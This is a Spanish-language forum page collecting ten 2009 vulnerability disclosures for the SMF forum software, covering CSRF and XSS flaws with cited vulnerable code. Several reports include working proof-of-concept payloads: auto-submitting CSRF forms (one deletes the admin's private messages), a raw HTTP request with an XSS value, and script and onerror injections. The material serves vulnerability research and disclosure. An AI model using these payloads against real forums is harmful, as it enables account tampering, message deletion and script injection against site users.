Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - WHK

#3501
Detalles


 
 
 
 
 
 
Descripción:CSRF+XSS en el administrador de lenguajes
Descubierto por:cicatriz.r00t@gmail.com
Código vulnerable:N/A
URL Vulnerable:/index.php?action=admin;area=languages;sa=editlang;lid=english;
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2



Descripción

En este ataque se utiliza Cross-Site Request Forgery para realizar un
ataque Cross-Site Scripting.
Proof-of-Concept:
Código (html4strict) [Seleccionar]
<body onload="document.forms[0].elements[5].click()">
<form
action="/index.php?action=admin;area=languages;sa=editlang;lid=english;"
method="post" accept-charset="UTF-8">
<input name="character_set" size="20" value="ISO-8859-1" type="text">
<input name="locale" size="20" value="en_US" type="text">
<input name="dictionary" size="20" value="en" type="text">
<input name="spelling" size="20"
value="american&#34;&#62;&#60;&#104;&#49;&#62;&#88;&#83;&#83;&#60;&#47;&#104;&#49;&#62;"
type="text">
<input name="rtl" class="check" type="checkbox">
<input type="submit" value="Save" name="save_main"/>
</form>
</body>


Otra cosa a resaltar es el echo de poder cambiar el tipo de character set.
Cosa que nos daría la libertad de elegir un encoding vulnerable como UTF-7.

El problema se ubica aquí:

Código (bash) [Seleccionar]
+++/var/www/POC/smf_2-0-rc1-2_install/Sources/ManageServer.php @@ 1195:1201
 1195 $replace_array = array(
 1196 '~\$txt\[\'lang_character_set\'\]\s=\s(\'|")[^\'"]+(\'|");~' =>
'$txt[\'lang_character_set\'] = \'' . addslashes($_POST['character_set']) .
'\';',
 1197 '~\$txt\[\'lang_locale\'\]\s=\s(\'|")[^\'"]+(\'|");~' =>
'$txt[\'lang_locale\'] = \'' . addslashes($_POST['locale']) . '\';',
 1198 '~\$txt\[\'lang_dictionary\'\]\s=\s(\'|")[^\'"]+(\'|");~' =>
'$txt[\'lang_dictionary\'] = \'' . addslashes($_POST['dictionary']) . '\';',
 1199 '~\$txt\[\'lang_spelling\'\]\s=\s(\'|")[^\'"]+(\'|");~' =>
'$txt[\'lang_spelling\'] = \'' . addslashes($_POST['spelling']) . '\';',
 1200 '~\$txt\[\'lang_rtl\'\]\s=\s[A-Za-z0-9]+;~' =>
'$txt[\'lang_rtl\'] = ' . (!empty($_POST['rtl']) ? 'true' : 'false') . ';',
 1201 );
---/var/www/POC/smf_2-0-rc1-2_install/Sources/ManageServer.php


http://code.google.com/p/smf2-review/source/browse/trunk/Sources/ManageServer.php#1195

Lo único que salva al foro de no sufrir la ejecución de PHP es la función
addslashes(), porque todos estos datos son escritos a un archivo.
#3502
Nivel Web / XSS en el buscador de usuarios
30 Noviembre 2009, 20:49 PM
Detalles


 
 
 
 
 
 
Descripción:XSS en el buscador de usuarios
Descubierto por:WHK@elhacker.net
Código vulnerable:code: Sources/Subs-Auth.php:551
URL Vulnerable:URL: index.php?action=findmember;[TOKEN]
PoC:POST:
search=dd&input=pm_ignore_list&delim=%27%22%3c%3e%5b%58%53%53%20%61%63%e1%5d&quote=0
Afecta a:‭‬SMF 2.0 RC2



Descripción

El problema está en el archivo Sources/Subs-Auth.php linea 551
http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Subs-Auth.php#551

ya que cuando se supone que debe filtrar en htmlspecialchars realmente no
lo hace:

Código (php) [Seleccionar]
// Take the delimiter over GET in case it's \n or something.
$context['delimiter'] = isset($_REQUEST['delim']) ? ($_REQUEST['delim'] ==
'LB' ? '\\n' : $smcFunc['htmlspecialchars']($_REQUEST['delim'])) : ', ';
$context['quote_results'] = !empty($_REQUEST['quote']);


Pero, porque no funciona en modo GET y si funciona en modo POST?
eso es porque smf pasa $_POST por $_REQUEST autobypaseando filtros como este.

Tal como me lo comentaba sirdarckcat, al principio es necesario ingresar el
token del usuario afectado pero eso puede ser bypaseado enviandolo sin su
sesión logueada, entonces cuando loguee se le redireccionará hcia su
busqueda infectada con el xss.

Prueba de concepto:
Código (bash) [Seleccionar]
nc -v 127.0.0.1 80
POST /smf_2/index.php?action=findmember;[TOKEN] HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-CL; rv:1.9.1.5)Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-cl,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: close
Cookie: PHPSESSID=[cookie]
Content-Type: application/x-www-form-urlencoded
Content-Length: 85

search=dd&input=pm_ignore_list&delim=%27%22%3c%3e%5b%58%53%53%20%61%63%e1%5d&quote=0


Retornará un código inyectado dentro del tag "<script />"
#3503
Nivel Web / Desinstalación arbitraria de mods
30 Noviembre 2009, 20:42 PM
Detalles


 
 
 
 
 
 
Descripción:Desinstalación arbitraria de mods
Descubierto por:WHK@elhacker.net
Código vulnerable:Sources/Packages.php:1167
URL Vulnerable:index.php?action=admin;area=packages;sa=flush
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2



Descripción

Voy a comenzar explicando la prueba de concepto directamente:
http://localhost/smf2.0/index.php?action=admin;area=packages;sa=flush

Primero que nada decir que esta acción no requiere de ningún token por lo
tanto puede ser ejecutado de forma arbitraria y consiste en que te elimina
todo el listado de paquetes instalados en el archivo que contiene todas tus
instalaciones "installed.list".

Si por ejemplo tienes instalado 4 mods los cuales modificaron tu foro ya no
podrás desintalarlos porque no figurarán instalados y los cambios en el
foro permanecerán modificados, eso quiere decir que si intentas reinstalar
el mismo mod no podrás porque los cambios ya están hechos y por lo tanto
tampoco puedes desintalarlos ni eleiminarlos.

Esto puede afectar por completo el funcionamiento de tu foro al intentar
realizar una actualización o cambio en un paquete nuevo ya que las
busquedas de reemplazo de strings en los archivos del foro ya no serán los
mismos.

La única solución sería restaurar un respaldo creado con anterioridad o
volver a instalar tu foro nuevamente con cada mod.

El fallo se produce en el archivo Sources/Packages.php linea 1167 en la
función "FlushInstal" ya que desde que es llamada la función hasta que
finaliza en ningúna parte se solicita un token de verificación para evitar
una ejecución arbitraria de esta acción.

http://code.google.com/p/smf2-review/source/browse/trunk/Sources/Packages.php#1167
#3504
Nivel Web / XSS en el administrador de smileys
30 Noviembre 2009, 20:39 PM
Detalles


 
 
 
 
 
 
Descripción:XSS en el administrador de smileys
Descubierto por:cicatriz.r00t@gmail.com
Código vulnerable:N/A
URL Vulnerable:/index.php?action=admin;area=smileys;sa=modifyset;set=1
PoC:Cambiar nombre del paquete a: Nombre"/onclick="alert(0)
Afecta a:‭‬SMF 2.0 RC2



Descripción

Este ataque Cross-Site Scripting se puede producir, pero lo tilde como
"posible" por el echo de no tener el fácil acceso a la edición del nombre
de un paquete de smileys. Una de las principales barreras es el token que
no permite la ejecución de CSRF.
Para reproducir el XSS se tiene que dirigir a
"/index.php?action=admin;area=smileys;sa=modifyset;set=1" y editar el
nombre del paquetey poner algo como: Nombre"/onclick="alert(0). Y al volver
a "/index.php?action=admin;area=smileys;sa=modifyset;set=1" el XSS se
ejecutaría pero el nombre quedaría con el valor que hayamos especificado
sin que se ejecute en los sets de smileys
(/index.php?action=admin;area=smileys;sa=editsets;).

Así que lo catalogo como un problema y lo dejo al criterio de ustedes :P
#3505
Nivel Web / XSS en el administrador de reglas
30 Noviembre 2009, 20:33 PM
Detalles


 
 
 
 
 
 
Descripción:XSS en el administrador de reglas
Descubierto por:cicatriz.r00t@gmail.com
Código vulnerable:N/A
URL Vulnerable:index.php?action=pm;sa=manrules
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2



Descripción

El administrador de reglas de mensajes sufre de tres ataques de Cross-Site
Request Forgery (index.php?action=pm;sa=manrules).
Primero:

Código (html4strict) [Seleccionar]
<form method="POST" action="/index.php?action=pm;sa=manrules;save;rid=0">
<input type="text" name="rule_name" value="csrf">
<input type="text" name="ruletype[0]" value="mid">
<input type="text" name="ruledef[0]" value="admin">
<input type="text" name="ruledefgroup[0]" value="">
<input type="text" name="rule_logic" value="and">
<input type="text" name="acttype[0]" value="del">
<input type="text" name="labdef[0]" value="">
<input type="text" name="save" value="Save Rule">
</form>
<script>document.getElementsByTagName("form")[0].submit();</script>


Este ataque crearía una regla que borre todos los mensajes provenientes del
user admin.

Segundo:
Código (html4strict) [Seleccionar]
<form method="POST" action="/index.php?action=pm;sa=manrules">
<input type="text" name="delrule[4]" value="on">
<input type="text" name="delselected" value="Delete Selected Rules">
</form>


Este ataque borraría la regla 4.

Tercero:
Código (html4strict) [Seleccionar]
<img src="/index.php?action=pm;sa=manrules;apply">

Aplicaría las reglas en el momento.
#3506
Nivel Web / XSS en el instalador
30 Noviembre 2009, 20:26 PM
Detalles


 
 
 
 
 
 
Descripción:XSS en el instalador
Descubierto por:cicatriz.r00t@gmail.com
Código vulnerable:$incontext['error'] = sprintf($txt['error_valid_email_needed'],
$_POST['username']);
$_POST['username'] = preg_replace('~[\t\n\r\x0B\0\xA0]+~', ' ',
$_POST['username']);
URL Vulnerable:install.php
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2



Descripción

El archivos install.php sufre una vulnerabilidad de Cross-Site Scripting al
no validar las variables POST. Ejemplos:
Linea 1317:
Código (php) [Seleccionar]
$incontext['error'] = sprintf($txt['error_valid_email_needed'],
$_POST['username']);


Linea 1325:
Código (php) [Seleccionar]
$_POST['username'] = preg_replace('~[\t\n\r\x0B\0\xA0]+~', ' ',
$_POST['username']);


Entonces, al ir al paso 2 (/install.php?step=2) por ejemplo se puede
explotar en el input "db_server", asi tambien en inputs siguientes.
#3507
Nivel Web / XSS en el instalador
30 Noviembre 2009, 20:05 PM
Detalles


 
 
 
 
 
 
Descripción:XSS en el instalador
Descubierto por:brlvldvlsmrtnz@gmail.com
Código vulnerable:install.php
URL Vulnerable:install.php
PoC:establecer como ruta del foro http://localhost/"><h1>xss</h1>
Afecta a:‭‬SMF 2.0 RC2



Descripción

La vulnerabilidad está en el archivo install.php.
Es provocada por la mala filtración de carácteres especiales al producirse
algún error en algún paso de la instalación lo que puede provocar ejecución
de código html y ‭‬javascript en el navegador.
Ejemplos en el código están en las funciones template_database_settings() y
template_chmod_files().
Adjunto un archivo installer modificado por mí que es supuestamente seguro
contra la vulnerabilidad encontrada.
Otra vulnerabilidad XSS que he encontrado es en el step de forum settings
es cuando te pregunta la ruta del foro, si pones
http://localhost/"><h1>Hola</h1>
Por cada enlace que ponga en el foro te saldra el <h1>Hola</h1>
#3508
Nivel Web / CSRF en las encuestas
30 Noviembre 2009, 20:01 PM
Detalles


 
 
 
 
 
 
Descripción:CSRF en las encuestas
Descubierto por:sirdarckcat@elhacker.net
Código vulnerable:N/A
URL Vulnerable:index.php?action=vote;topic=3.0;poll=1
PoC:N/A
Afecta a:‭‬SMF 1.1.10 y 2.0 RC2



Descripción

Se puede desactivar el voto de un usuario si la encuesta permite cambiar de
voto.

Suponiendo que es la encuesta 1 del topic 3, entonces una peticion a:
index.php?action=vote;topic=3.0;poll=1

Borraria el voto.
#3509
Nivel Web / XSS en el censurador de palabras
30 Noviembre 2009, 19:58 PM
Detalles


 
 
 
 
 
 
Descripción:XSS en el censurador de palabras
Descubierto por:sirdarckcat@elhacker.net
Código vulnerable:N/A
URL Vulnerable:index.php?action=admin;area=postsettings;sa=censor
PoC:[ testing-xss-sdc-1 ] => [ <script>alert(/lolazo/)</script> ]
[ testing-xss-sdc-2 ] => [ " onerror="alert(1) ]
Afecta a:‭‬SMF 1.1.10 y 2.0 RC2



Descripción

Todos los que tengan acceso al area del censurador:
index.php?action=admin;area=postsettings;sa=censor

Pueden hacer XSS en cualquier parte del foro...
PoC:

Ponga la palabra a ser censurada a la izquierda, y el reemplazo a la derecha.

[ testing-xss-sdc-1 ] => [ <script>alert(/lolazo/)</script> ]
[ testing-xss-sdc-2 ] => [ " onerror="alert(1) ]
#3510
Nivel Web / CSRF en las preferencias de moderación
30 Noviembre 2009, 19:53 PM
Detalles


 
 
 
 
 
 
Descripción:RCSRF en las preferencias de moderación
Descubierto por:sirdarckcat@elhacker.net
Código vulnerable:N/A
URL Vulnerable:index.php?action=moderate;area=settings
PoC:N/A
Afecta a:‭‬SMF 2.0 RC2



Descripción

Las configuraciones en:
index.php?action=moderate;area=settings

Tienen token pero no lo validan.